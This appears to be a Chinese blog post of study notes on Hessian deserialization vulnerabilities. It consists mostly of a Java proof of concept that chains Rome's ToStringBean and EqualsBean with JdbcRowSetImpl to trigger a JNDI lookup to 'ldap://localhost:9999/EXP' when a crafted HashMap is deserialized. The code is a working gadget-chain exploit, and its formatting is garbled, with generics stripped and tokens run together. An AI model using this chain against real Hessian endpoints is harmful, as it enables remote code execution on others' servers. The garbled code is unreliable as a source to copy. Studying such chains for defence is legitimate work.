Hessian反序列化漏洞学习记录

            <dependency>        <groupId>com.caucho</groupId>        <artifactId>hessian</artifactId>        <version>4.0.63</version>    </dependency>

RomeXBeanResinSpringPartiallyComparableAdvisorHolderSpringAbstractBeanFactoryPointcutAdvisor

package moonflower.hessian; import com.caucho.hessian.io.HessianInput; import com.caucho.hessian.io.HessianOutput; import com.caucho.hessian.io.ObjectNameDeserializer; import com.rometools.rome.feed.impl.EqualsBean; import com.rometools.rome.feed.impl.ToStringBean; import com.sun.rowset.JdbcRowSetImpl; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.Serializable; import java.lang.reflect.Array;  import java.lang.reflect.Constructor;  import java.lang.reflect.Field;  import java.util.HashMap; public class Hessian_Rome {      public staticbyte[] serialize(T o) throws IOException {           ByteArrayOutputStream bao = new ByteArrayOutputStream();        HessianOutput output = new HessianOutput(bao);      output.writeObject(o);         System.out.println(bao.toString());       return bao.toByteArray();                  }            public staticT deserialize(byte[] bytes) throws IOException {         ByteArrayInputStream bai = new ByteArrayInputStream(bytes);         HessianInput input = new HessianInput(bai);         Object o = input.readObject();         return (T) o;     }     public static void setValue(Object obj, String name, Object value) throws Exception {         Field field = obj.getClass().getDeclaredField(name);         field.setAccessible(true);         field.set(obj, value);     }     public static Object getValue(Object obj, String name) throws Exception {         Field field = obj.getClass().getDeclaredField(name);         field.setAccessible(true);         return field.get(obj);     }     public static void main(String[] args) throws Exception {         JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();         String url = "ldap://localhost:9999/EXP";         jdbcRowSet.setDataSourceName(url);         ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);         EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);         HashMap hashMap = makeMap(equalsBean, "1");         byte[] s = serialize(hashMap);         System.out.println(s);         System.out.println((HashMap)deserialize(s));     }     // 

public static HashMapmakeMap (Object v1, Object v2) throws Exception {         HashMaps = new HashMap<>();         setValue(s, "size", 2);         Class nodeC;         try {              nodeC = Class.forName("java.until.HashMap$Node");           }              catch (ClassNotFoundException e) {                  nodeC = Class.forName("java.util.HashMap$Entry");                  }                        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);                        nodeCons.setAccessible(true);                       Object tbl = Array.newInstance(nodeC, 2);                       Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));                       Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));         setValue(s, "table", tbl);         return s;     } }